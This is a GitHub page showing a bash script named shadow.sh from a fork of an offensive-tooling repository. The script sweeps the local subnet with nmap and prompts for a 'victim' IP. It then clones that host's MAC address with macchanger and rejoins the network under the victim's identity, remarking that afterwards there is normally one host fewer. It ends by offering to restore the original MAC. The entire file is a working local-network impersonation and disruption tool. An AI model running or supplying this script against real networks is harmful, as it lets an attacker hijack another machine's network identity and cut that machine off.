forked from g0tmi1k/os-scripts
-
Notifications
You must be signed in to change notification settings - Fork 7
Expand file tree
/
Copy pathshadow.sh
More file actions
executable file
·145 lines (110 loc) · 5.3 KB
/
shadow.sh
File metadata and controls
executable file
·145 lines (110 loc) · 5.3 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
#!/bin/bash
echo "°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°"
echo "° Sh@d0w v1.0 - b33f °"
echo "° ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ °"
echo "° -Don't panic, i'm only a shadow- °"
echo "°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°"
echo -n "° Select the Interface to use: "
read -e iface
echo "°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°"
#List current connection details && look for live hosts
###################################################################
echo "[>] Current connection Details:" |sed 's/^/° /'
echo "°"
ip addr show $iface| grep "inet " |cut -d" " -f1-8 |sed 's/^/°/'
ip addr show $iface| grep "link/" |sed 's/^/°/'
echo "°"
echo "° ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ "
echo "°"
echo "° [>] Scanning for live hosts:"
echo "°"
for subnet in $(ip addr show $iface| grep "inet " |cut -d" " -f6); do
nmap -sP -oG /tmp/hosts.txt $subnet &>/dev/null; done
cat /tmp/hosts.txt |sed 's/^/° /' |grep "Host:" |cut -d"(" -f1
rm /tmp/hosts.txt
#List victim details
###################################################################
echo "°"
echo "°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°"
echo -n "° Select the victim's IP: "
read -e vic
echo "°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°"
echo "[>] Victims connection details:" |sed 's/^/° /'
echo "°"
nmap -sP -oN /tmp/victim.txt $vic &>/dev/null & wait
cat /tmp/victim.txt |grep "report" |cut -d" " -f5 |sed 's/^/° Host: /'
cat /tmp/victim.txt |grep "MAC" |cut -d" " -f3 |sed 's/^/° MAC: /'
#Initiate the cloning process || terminate program
###################################################################
echo "°"
echo "°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°"
echo -n "° Shall we start cloning (y/n): "
read -e shadow
echo "°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°"
if [ $shadow = y ]; then
echo "[>] Saving the original MAC of the interface" |sed 's/^/° /'
ip addr show eth0| grep "link/" |cut -d" " -f6 > /tmp/original.txt
echo "[>] Saving the victims MAC adress" |sed 's/^/° /'
cat /tmp/victim.txt |grep "MAC" |cut -d" " -f3 > /tmp/vicMAC.txt
rm /tmp/victim.txt
echo "°"
echo "° ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ "
echo "°"
echo "[>] Ifconfig $iface down" |sed 's/^/° /'
ifconfig $iface down
echo "[>] Cloning the MAC adress" |sed 's/^/° /'
for mac in $(cat /tmp/vicMAC.txt);do
macchanger -m $mac $iface &>/dev/null; done
echo "[>] Ifconfig $iface up" |sed 's/^/° /'
ifconfig $iface up
echo "[>] Reconnect to the network" |sed 's/^/° /'
dhclient $iface &>/dev/null & wait
echo "°"
echo "° ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ "
echo "°"
#Show the new cloned inetface data
###################################################################
echo "[>] Cloning process complete!!" |sed 's/^/° /'
echo "[>] These are your new connection details:" |sed 's/^/° /'
echo "°"
ip addr show $iface| grep "inet " |cut -d" " -f1-8 |sed 's/^/°/'
ip addr show $iface| grep "link/" |sed 's/^/°/'
echo "°"
echo "° ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ "
echo "°"
echo "° [>] Lets scan for those live host again:"
echo "° [normally there will be one less]"
echo "°"
for subnet in $(ip addr show $iface| grep "inet " |cut -d" " -f6); do
nmap -sP -oG /tmp/hosts.txt $subnet &>/dev/null; done
cat /tmp/hosts.txt |sed 's/^/° /' |grep "Host:" |cut -d"(" -f1
rm /tmp/hosts.txt
#Give user the options to revert to original settings
###################################################################
echo "°"
echo "°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°"
echo -n "° Shall we revert the interface (y/n): "
read -e revert
echo "°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°"
if [ $revert = y ]; then
echo "[>] Reverting the interface..." |sed 's/^/° /'
ifconfig $iface down
for mac in $(cat /tmp/original.txt);do
macchanger -m $mac $iface &>/dev/null; done
ifconfig $iface up
dhclient $iface &>/dev/null & wait
rm /tmp/vicMAC.txt
rm /tmp/original.txt
echo "[>] Done!" |sed 's/^/° /'
echo "°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°"
elif [ $revert = n ]; then
rm /tmp/vicMAC.txt
echo "[>] Original MAC saved in /tmp/original.txt" |sed 's/^/° /'
echo "[>] Done!" |sed 's/^/° /'
echo "°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°"
fi
elif [ $shadow = n ]; then
rm /tmp/victim.txt
echo "[>] Done!" |sed 's/^/° /'
echo "°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°"
fi